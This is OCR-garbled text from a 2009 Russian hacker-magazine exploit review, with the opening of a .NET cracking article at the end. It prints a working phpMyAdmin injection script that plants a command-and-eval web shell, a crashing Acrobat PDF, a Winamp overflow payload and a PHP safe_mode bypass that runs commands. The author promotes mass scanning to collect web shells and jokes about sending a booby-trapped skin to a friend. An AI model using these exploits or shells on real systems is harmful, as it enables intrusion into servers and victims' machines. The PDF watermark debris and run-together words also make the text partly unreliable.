книги хакеры / журнал хакер / 127_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
обзор |
обзор |
эксплоитов |
эксплоитов |
>>
обзор
эксплоитов
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
взломw |
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
o |
m |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Below you should see the content of a local file, stolen by this evil web page.
<p/>
&ent;
<script>
alert(document.body.innerHTML);
</script>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
Каквидишь, лексема«&ent;» хранитвсебесодержимое«/etc/passwd», которыймагическимобразомотобразитсянаэкране. Еслитысчастливый обладательSafari, можешьпройтитестнавшивостьпоссылкамhttps:// cevans-app.appspot.com/static/safaristealfilebug.xml (MacOS) иhttps:// cevans-app.appspot.com/static/safaristealfilebugwin.xml (Windows).
>> SOLUTION
ОбновлениедоSafari 4.x решитвсепроблемыиустранитугрозывнешнихнападений.
02PHPMYADMIN (/SCRIPTS/SETUP.PHP)
PHP CODE INJECTION EXPLOIT
>> Brief
Давнонаснебаловалихорошимиуязвимостямивпопулярныхпроектах. Сегодняяпостараюсьэтоисправить: 4 июнябагоискателямудалосьобнаружитьизъянвпроектеphpMyAdmin, аименно— вгенераторенастроечныхфайлов«/scripts/setup.php». Сутьбагадовольнопроста: впроцессеустановкиphpMyAdmin происходитгенерацияосновныхпараметров(хоста mysql, логина, пароля, названиябазыит.п.) споследующимихсохранениемв«/config/config.inc.php». Таквот, донедавнеговремениразработчики довольноаккуратнофильтровалинежелательныйконтент, новпоследних версияхчуть-чутьизменилиалгоритм. Витоге, злоумышленникможет передатьядовитыепараметры, позволяющиезаписатьпроизвольныйкод вконфигурационныйфайл. Затем, пообращениюкэтомуконфигу, хакер получитполноценныйWeb-шелл. Атеперьразберемся, какэтопроисходит насамомделе. Вместеспрочимипараметрамивзначениепеременной «host» инжектируется, кпримеру, фраза«phpinfo();//localhost». Навыходе получимвполнеработоспособныйсценарий, выводящийphpinfo(). Помимопрочего, эксплойтпозволяетвнедрить«passthru()» дляпередачи командWeb-шеллуприпомощизначенияпеременной«c».
Нонедумай, чтовсетакпросто. Эксплойтнакладываетнекоторые ограничениянаphpMyAdmin. Во-первых, нужно, чтобыадминистраторустанавливалпроектчерезмастера, аневручную. Во-вторых, необходимоналичиефайла«scripts/setup.php», которыйпочему-то
(интересно, почему? :)) любятудалять. В-третьих, директория«config/» такжедолжнаприсутствовать, анафайл«config.inc.php» должен бытьустановленатрибутзаписи. В-четвертых, намашиненеобходим работоспособныйcurl (сегопомощьюпроисходитинжектирование кода). И, наконец, уязвимымиверсиямиphpMyAdmin являются2.11.x
до2.11.9.5 и3.x до3.1.3.1 (всерелизыдостаточноновыеивыпускались доапреляэтогогода).
Какитог, хакерможетбезтруданаписатьавтосканерphpMyadmin и эксплуатироватькаждыйхост. Намойвзгляд, вероятностьуспехиатаки недалекаот30%, апритакихраскладаходналишьночьсканирования будетприноситьвзломщикуморенелишнихWeb-шеллов.
>> Exploit
Нижеприводитсяключеваяфункцияexploit(), отвечающаязаинжект вредоносногокода.
function exploit {
postdata="token=$1&action=save&configuration="\ "a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22hos t%27]="\ "%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost %22%3bs:9:"\ "%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connec t_type%22%3bs:3:"\ "%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22aut h_type%22%3bs:6:"\ "%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}& eoltype=unix"
postdata2="token=$1&action=save&configuration=a:1:"\ "{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%2 7%5d="\
"%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20 %27%3cpre%3e%27%3b"\ "system(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/ pre%3e%27%3b}"\ "if(\$_GET%5b%27p%27%5d){echo%20 %27%3cpre%3e%27%3beval"\ "(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/ pre%3e%27%3b}%3b//"\
"%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:
6:%22"\ "mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22% 3bs:8:"\
"%22compress%22%3bb:0%3bs:9:%22auth_ type%22%3bs:6:%22config"\ "%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype= unix"
НАГЛЯДНАЯДЕМОНСТРАЦИЯУЯЗВИМОСТИПОДWINDOWS ПОСЛЕДРАКИКУЛАКАМИНЕМАШУТ:)
XÀÊÅÐ 07 /127/ 09 |
049 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|||
w Click |
to |
|
|
|
взлом |
|||||
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
обзор |
обзор |
эксплоитов |
эксплоитов |
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
||||
|
|
- |
|
|
|
|
|
d |
|
|||
|
|
F |
|
|
|
|
|
|
t |
|
||
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
BUY |
|
|
|||
обзор |
|
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
w |
|
|
|
|
|
|
|
|
|
m |
||
|
w Click |
|
|
|
|
|
|
|||||
эксплоитов |
|
|
|
|
|
o |
|
|||||
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
|||
|
|
|
p |
|
|
|
|
g |
|
|
||
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
зор
сплоитов
зор
сплоитов
зор
сплоитов
зор
сплоитов
зор
сплоитов
зор
сплоитов
зор
сплоитов
СЕГОДНЯНЕНАШДЕНЬ. ПРИДЕТСЯПИСАТЬАВТОСКАНЕР...
flag="/tmp/$(basename $0).$RANDOM.phpinfo.flag.html" echo "[+] attempting to inject phpinfo() ..."
curl -ks -b $2 -d "$postdata" --url "$3/scripts/setup. php" >/dev/null
if curl -ks --url "$3/config/config.inc.php" | grep "phpinfo()" >/dev/null
then
curl -ks --url "$3/config/config.inc.php" >$flag echo "[+] success! phpinfo() injected successfully!
output saved on $flag"
curl -ks -b $2 -d $postdata2 --url "$3/scripts/ setup.php» >/dev/null
echo "[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:"
echo " $3/config/config.inc.php?c=ls+-l+/" echo " $3/config/config.inc.php?p=phpinfo();" echo " please send any feedback/improvements for
this script to"\ "unknown.pentester<AT_sign__here>gmail.com"
else
echo "[+] no luck injecting to $3/config/config.inc. php :("
exit
fi
}
ЕслитынеполенишьсянаписатьпростенькийPHP-парсерпередавае- мыхстрок, тополучишьпосимвольнуюкартинуинжекта.
Полныйкодэксплойтаможноскачатьпоссылкеsecuritylab.ru/poc/ extra/381413.php.
>> Targets:
УязвимымиверсиямиphpMyAdmin являются2.11.x до2.11.9.5 и3.x до 3.1.3.1 (всерелизыдостаточноновыеивыпускалисьдоапреляэтого года).
>> Solution
Нависшуюугрозубезопасностирешитлибоудалениефайла«/scripts/ setup.php», либоизолированиекаталога«/config» внеWeb-директории, либо(самыйпредпочтительныйвариант) обновлениеphpMyAdmin до свежейверсии. Последнееможноосуществитьсофициальнойлокации: sourceforge.net/projects/phpmyadmin.
03ADOBE ACROBAT 9.1.1 STACK OVERFLOW CRASH POC EXPLOIT
>> Brief
ОчереднаятемнаялошадканааренеPoC появиласьвначалеиюня. Наэтотраз, позаявлениямнеизвестныхбагоискателей, обнаружилась брешьвAdobe Acrobat аждоверсии9.1.1. Впабликвыложилилишь PoC-эксплойт, призапускекоторогоничегонепроисходит. Точнее, про-
ОШИБКАТУПАЯДОБОЛИ
исходит— вываливаетсясреда, изкоторойбылзапущенPoC. Еслиэто браузер— закрываютсявсевкладкиIE/Firefox/Opera/Mozilla. Еслиэто самAcrobat Reader — тоионвылетает. Корочеговоря, сплойтдействительносшибаетсногAdobe Reader.
Почемужетакпроисходит? Чтобыэтовыяснить, бережноскачаемPDF’ку каким-нибудьстороннимменеджером(яиспользовалwget наудаленномсервере) иприсмотримсякисходномукодуфайла. Дляпростоты восприятия, помещаюегониже.
%PDF-1.4
%
4 0 obj<</ProcSet[/PDF/Text]>>endobj
5 0 obj<</Length 1>>stream endstream
endobj
3 0 obj<</Type/Page/Parent 2 0 R/Contents 5 0 R/MediaBox [0 0 595 842]/Resources 4 0 R>>endobj
2 0 obj<</Type/Pages/Kids [3 0 R ]/Count 1 >>endobj
НЕМЕДЛЕННОЕОБНОВЛЕНИЕ
050 |
XÀÊÅÐ 07 /127/ 09 |
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
обзор |
обзор |
обзор |
эксплоитов |
эксплоитов |
эксплоитов |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
>> взломw Click |
|
BUY |
|
|
|||||||
to |
|
|
|
|
m |
||||||
обзор |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
||
эксплоитов |
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
НАВОЛОСКЕОТСМЕРТИ...
6 0 obj<</S/JavaScript/JS ( 0
function Init\(\) { if \(typeof this.info.ModDate == "object"\) { return true; }app.alert\([[[[[[[[.... * 4098 } Init\(\); )>>endobj
1 0 obj<</Type/Catalog/Pages 2 0 R/OpenAction 6 0 R>>endobj
xref 0 7
0000000000 65535 f
0000020392 00000 n
0000000193 00000 n
0000000098 00000 n
0000000015 00000 n
0000000052 00000 n
0000000245 00000 n trailer
<<
/Size 7 /Root 1 0 R
/ID [<c52946397fbfbe4d5492f9f411a983e2><c52946397fbfbe 4d5492f9f411a983e2>]
>>
startxref 20452 %%EOF
Смотримивидим, чтовсекцииinit естьстранныйalert, содержащий4098 байтмусора. Очевидно, чтоонисталпричинойпадения. Какговорится, доверяй, нопроверяй, поэтомуяотредактировалфайл, оставивлишь10 байт«мусора». Витоге, PDF’каоткрыласьбезошибок.
Каковжевывод? Всепросто, функция«app.alert()» несодержитдолжную проверкунапереполнение, витоге, мыимеембезобидныйDoS. Подчеркиваю, именнобезобидный, посколькувприватныхкругахнаверняка ходитэксплойт, реализующийвыполнениепроизвольногосистемного кода, которыйвпоследствиибудетиспользоватьсявразличныхсвязках для«пробива» приватныхтроянцев. Поэтомумотайинформациюнауси немедленнообновляйся.
ТЕХНИЧЕСКОЕОПИСАНИЕБАГАВLIBSNDFILE
>> Exploit
Вбейвадреснуюстроку«securitylab.ru/_download/exploits/2009/05/ adobe-reader-dos.pdf» иувидишь... аварийноезакрытиебраузера:).
>> Targets
УязвимымиявляютсявсеверсииAcrobat Reader, включаярелиз9.1.1. Помни, чтоеслитыжмякнешьнассылкусядовитымPDF-файлом, захлопнетсяипрограмма, котораяинициировалаегооткрытие.
>> Solution
Обновляйчиталкунаофициальномсайте«get.adobe.com/reader». Тем самымтызащитишьсвойкомпьютеротнепрошеныхгостей.
XÀÊÅÐ 07 /127/ 09 |
051 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|||
w Click |
to |
|
|
|
взлом |
|||||
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
обзор |
обзор |
эксплоитов |
эксплоитов |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
обзор |
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
w |
|
|
|
|
|
|
|
|
m |
||
|
w Click |
|
|
|
|
|
|
||||
эксплоитов |
|
|
|
|
|
o |
|
||||
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
зор
сплоитов
зор
сплоитов
зор
сплоитов
зор
сплоитов
зор
сплоитов
зор
сплоитов
зор
сплоитов
НИКЧЕМУНЕОБЯЗЫВАЮЩИЙЭКСПЛОЙТДЛЯWINAMP
04 WINAMP BUFFER OWERFLOW
MULTIPLE EXPLOITS
>> Brief:
Наэтотразнеобошлосьбезмузыкальныхжертв— подприцелбагоиска-
телейпопалсамыйпопулярныйWindows-player — Winamp отNullsoft.
Заодинлишьмесяцвнембылонайденодвегромкихуязвимости, о которыхяспешутеберассказать.
1.Какяужеписал, всепродуктыбазируютсянакаких-либокомпонент- ныхбиблиотеках. Иесливсофтепрактическиидеальныйкод, тоуязвимостьможетнаходитьсявовспомогательнойбиблиотеке. Особенно тяжелоположение, еслиисходникибиблиотекизакрыты(соднойстороны, сложнонайтиуязвимость, носдругой— никтоотнеевпринципене застрахован:)). НовслучаесWinamp — багтривиален. Умельцынашли изъянвфункциях«voc_read_header()» и«aiff_read_header()», принадле-
жащихбиблиотеке«libsndfile» ичитающихзаголовки«.voc»- и«.aiff»- файлов(по-видимому, обефункциинаписаныпоодномуалгоритму). Есливеритьэкспертам, вэтихфункцияхсодержитсякод, приводящийк переполнениюдинамическойпамяти. Какследствие, любойжелающий можетсоздать«.voc» или«.aiff»-файлсоспециальнымзаголовком, послечегоWinamp послушновыполнитпроизвольныйсистемныйкод.
Ксожалению, всеограничилосьсловами, исплойтниктотакиневыложил. Однакоутебяимеетсявсяинформациякразмышлению, чтобы написатьсобственныйсплойт(перерывайстарыеподшивкижурналаи смотристатьиКриса— поподобнымнаводкамонэтоделалнераз;)).
2.Ответьмненапростойвопрос: «ЛюбишьлитыскиныWinamp, каклюблюихя?». Насамомделе, шучу, нобыловремя, когдаячасамиизучал различныешкуркиотпроигрывателя, останавливаясьнасамомлучшем. Думаю, исейчасестьфанатымодныхскинов... Гхм, кчемуэтоя? :) Короче говоря, совсемнедавнообнаружиливозможностьпереполнениябуфера впарсере«MAKI» (библиотекаgen_ff.dll). Maki — это, собственно, иесть скриптыWinamp’а, образующиескин(привязкукнопок, функционал
ит.п.). Еслиуглубитьсявтехническиеподробности, будетпонятно, что механизмпарсинга.maki состоитвпоследовательномчтениидвухбайт, отвечающихзадлину. Есличутьувеличитьэтудлину, произойдет... правильно— переполнениестекаиаварийноезавершениепрограммы. А есличутокподуматьиувеличитьдлинусумом, мыдобьемсяперезаписи адресавозвратаивыполнениепроизвольногосистемногокода. Чтои происходитвэксплойте.
payload = "\x41»*16756 payload += "\x74\x06\x90\x90"
payload += "\x32\x55\xF0\x12" # universal p/p/r in_mod. dll
payload += shellcode # calc shellcode from metasploit
Вэтомфрагментеэксплойтапроисходитсмещениестрокинаадрес шеллкода, которыйуспешновызоветсяпослеобработки.maki-файла.
Если«отдебажить» парсинг.maki-файла, томыполучимследующую картину:
.text:12094F62 loc_12094F62:
.text:12094F62 mov ax, [ebx]
.text:12094F65 movsx edi, ax ; sign extension
.text:12094F68 inc ebx
.text:12094F69 push edi ; Size
.text:12094F6A inc ebx
.text:12094F6B lea eax, [ebp+MultiByteStr]
.text:12094F71 push ebx ; Src
.text:12094F72 push eax ; Dst, buffer is located in the stack
.text:12094F73 call memmove
.text:120951E5 loc_120951E5:
.text:120951E5 mov edi, [ebx]
.text:120951E7 add ebx, 4
.text:120951EA mov ax, [ebx]
.text:120951ED movsx esi, ax ; sign extension
.text:120951F0 inc ebx
.text:120951F1 push esi ; Size
.text:120951F2 inc ebx
.text:120951F3 lea eax, [ebp+var_10144]
.text:120951F9 push ebx ; Src
.text:120951FA push eax ; Dst, buffer is located in the stack
.text:120951FB call memmove
Всеиспытанияпроводилисьнаскинеот«Big Bento», которыйты можешьнайтинаофициальномсайте. Файлmcvcore.maki находитсяв
«PROGRAMFILES/Winamp/Skins/Bento/Scripts». Атеперьподумай, что будет, еслиаккуратновпаритьякобыкрутойскинсвоемусотоварищу? Правильно! Ноятебеэтогонеговорил:).
>> Targets
Уязвимымисчитаются:
1.Библиотека«libsndfile» доверсии<= 1.0.20, активноиспользующаяся вWinamp.
2.СамWinamp доверсии<= 5.55.
>> Solution
Зайдина«winamp.com» иобновисьдопоследнегорелиза. Благодаря своевременномуоповещениюразработчиков, багбылисправленвтот жедень. Хорошоэтоилинет— незнаю, новлюбомслучаевСетиеще осталосьогромноеколичествоуязвимыхверсий.
>> Exploit:
Попервомубагу, какяужесказал, эксплойтаниктонепредоставил. Зато повторому— ихцелыхдва. ОдиннаписаннаСи(securitylab.ru/poc/ extra/380450.php), авторойнаПитоне(securitylab.ru/poc/extra/380454. php).
05 PHP <= 5.2.9 LOCAL SAFEMOD BYPASS EXPLOIT (WIN32)
>> Brief:
Нашлась дырка и в самой свежей версии PHP, позволяющая осуществить обход ограничений «safe_mode». Напомню, что взведенная в php.ini опция «safe_mode» не позволяет инклудить файлы, выполнять системные вызовы и т.п. Но багоискатели нашли способ выполнения команд при включенном
|
|
052 |
XÀÊÅÐ 07 /127/ 09 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
обзор |
обзор |
эксплоитов |
эксплоитов |
>>
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
взломw |
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
o |
m |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
КАКНИСТРАННО, ЭКСПЛОЙТДЕЙСТВИТЕЛЬНОРАБОТАЕТ:)
«safe_mode». Правда, только на Windows-платформах. Почему тольконаWindows?
Дело в том, что баг актуален лишь в силу специфики OS и был пропущен из-за кроссплатформенности PHP. Все дело в слэшах. Если в *nix-like системах «/usr/bin/php» и «\usr\bin\php» будут считаться совершенно разными строками (мало того, вторая строка вернет тебе ошибку), то Windows сочтет их вполне одинаковыми. К слову, это является одним из признаков характеристики целевой системы при ее изучении (Remote OS Fingerprinting). Например, если перед нами система со сбитыми TTL, Windows Size, а также модифицированным сетевым стеком, и у нас есть доступ к FTP или Web-Server’у, то можно сразу опознать Windows всего лишь по двум запросам к файлу. Эксплойт, совсемнедавноопубликованныйкомандойAbysssec (abyssses.com), представляетсобойдвафайла: php-сценарий«cmd. php» иисполняемый«cmd.bat» (можнобылореализоватьбагсиспользованиемодногофайла, нудаладно).
Ключевойфрагментсплойтатакой:
$cmd = $_REQUEST[‘cmd’]; if ($cmd){
$batch = fopen ("cmd.bat","w"); fwrite($batch,"$cmd>abysssec.txt"."\r\n"); fwrite($batch,"exit");
fclose($batch); exec("\start cmd.bat"); echo "<center>";
echo "<h1>Abysssec.com PHP 5.x SafeMod Bypasser</h1>";
echo "<textarea rows=20 cols=60>"; require("abysssec.txt");
echo "</textarea>"; echo "</center>";
Каквидишь, весьбагсводитсяктому, что«safe_mode» пропускает конструкцию«\start cmd.bat», начинающуюсяссимвола«\». Команда записываетсяв«cmd.bat», которыйвыводитеерезультатвтекстовик. А текстовыйфайл, всвоюочередь, отображаетсянаэкране. Воттакойвот геморрой:).
>> Exploits
Эксплойтберемпоадресуabysssec.com/safemod-windows.zip или milw0rm.com/sploits/2009-safemod-windows.zip. Описаниекэксплойту
(менееподробное, чемвэтомобзоре) можноизучитьпоссылкеs3curi7y. org/local.php?id=7.
>> Targets:
УязвимымиявляютсявсеверсииPHP, нопомни, чтоинтерпретатор долженбытьустановленнаWindows-платформе. АкакпроверитьOS, ты ужезнаешь.
>> Solution:
Вданныймоментуязвимостьнеустранена. Ноеслипозарезнужноизбавитьсяотбага, простозапретифункцию«exec()» илинапишипарсер, убивающийвсебоковыеслеши.z
XÀÊÅÐ 07 /127/ 09 |
053 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|||
w Click |
to |
|
|
|
взлом |
|||||
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Module. netmod |
Some.dll |
|
|
Манифест |
|
|
|
ule |
|
|
|
|
|
|
|
|
Module. netmod ule |
Хеш |
Хеш |
|
logo.jpeg |
Хеш |
|
|
|
||
logo.jpeg |
|
|
|
|
ЦифроваяподписьRSA |
Открытый+Закрытые |
|
|
ключи |
||
|
|
|
M0R0 / M0R0@INBOX.RU /
ТРУДНОСТИ
ПЕРЕВОДА
УЧИМСЯ ЛОМАТЬ.NET-СБОРКИ
Перваяверсия.NET впервыебылапредставленаMicrosoft в2002 году. Стехпорутекломноговоды, инаподходеуже4-яверсияфреймвор- ка. Числософтинрастетбыстрее, чемразмножаютсяхомячки,
атыбоишьсякнимдажеприблизиться. Пораразобраться, чтокчему,
ивосстановитьсправедливость.
>> взлом
ЗАГАДОЧНЫЙФРЕЙМВОРК
Говоряо.NET,следуетпризнать,чтовMicrosoft вовсенедуракиработают,ииногдавнедрах корпорациирождаютсяпоистинеинтересные решения.Янебудувдаватьсявподробности относительнопротивостояния.NETиJava, проводитьдетальныесравненияимерятьсявсем, чемможно.Фактналицо—.NETразвиваетсяи ужевключенвофициальнуюпоставкуновыхОС
(Vista/2008/7)отMicrosoft.Microsoftпредостав-
ляетнетолькосредыразработкииисполнения, ноибогатыебиблиотекиклассов,позволяющие реализоватьпрактическилюбойфункционал пользовательскогоприложения.Совместнос
Hewlett-PackardиIntelбылистандартизованы CLI,C#иC++/CLI(ECMA-335,ECMA-334,ECMA- 372,соответственно).Этооткрылодорогудля NovellсихпроектомMono,реализующимданные стандартыипозволяющимзапускатьприложения.NETнадругих,безоконныхоперационных системах.Microsoftделаетставкуна.NETкакна лидирующуюсредудлясозданияприложенияпод ОСWindows,а,значит,инамследуетотнестись кнейсуважениеминаучитьсясправлятьсяс потенциальнымитрудностями.Однимизнесомненныхпреимуществ.NETявляетсяподдержка несколькихязыковпрограммирования.Впервую очередь,этозаостренныйC(C#)и,конечноже,
BasicвформатеVB.NET.Врамкаходногопроекта можнокомбинироватьсборки,разработанные наразличныхязыках.Средасамаобеспечит корректностьисполненияконечногорешения. Какимжеобразомэтодостигается?Реализованы концепциипесочницы,CLIиJIT.
ОЛЬГА, ПРОЩАЙ!
Насамомделе,вседостаточнопросто(здесь опятьможновспомнитьоJava,номыэтогоделать небудем).Независимостьотязыкапрограммированияиотконечнойплатформыдостигается засчеткомпиляцииприложенияневнативный, авпромежуточныйбайт-код.Втерминологии
054 |
